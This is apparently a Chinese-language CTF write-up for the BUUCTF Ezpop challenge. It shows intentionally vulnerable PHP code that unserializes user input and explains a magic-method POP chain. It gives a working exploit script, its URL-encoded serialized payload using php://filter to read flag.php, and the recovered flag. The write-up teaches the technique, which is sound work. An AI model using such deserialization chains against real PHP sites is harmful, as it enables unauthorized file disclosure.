BUUCTF [MRCTF2020]Ezpop 1
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
打开后是代码。
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发。
这是本题的一些魔术方法介绍。
我们只要给pop传show类序列化的参数,在反序列时自动调用__wakeup()。里面的preg_match()函数把对象source当成字符串使用。这时分两种情况:
如果source是字符串,则直接拿来匹配。
如果source是一个类且这个类里有__toString()方法,则会调用__toString()。
所以我们把source=new show(); 就可以调用__toString()。
在下一步之前简单说说__toString():当一个对象被当作一个字符串被调用。我搜索到的它的作用主要就是能echo一个实例化的类(如果这个类没有__toString(),则会报错),因为echo时会自动调用__toString()。所以本题preg_match()函数用到source,即一个实例化的show类,此时相当于用一个类作为字符串去匹配,但类不能是字符串,就像不能echo出字符串化的类,所以此时会自动调用__toString()。
回到原文,调用__toString()后return $this->str->source;。把 $this->str=new Test()。因为类Test()没有source对象,则会自动调用__get()。返回一个变量加括号,即函数 $p(),如果 $p=new Modifier(),则相当于返回一个类函数,则会调用Modifier的__invoke() ,用 $var读取flag.php即可
payload:
在这里插入代码片<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
//O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D
?>
<!--//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}}-->
base64解码:
class Flag{
private $flag= "flag{3cea8049-c794-4896-8700-5266169644b4}";
}
echo "Help Me Find FLAG!";
?>
最后,为什么要urlencode,因为$var是protected 类型,序列化后要手动加一些字符才能通过。下面是我自己的笔记,想具体了解可以自行搜一搜。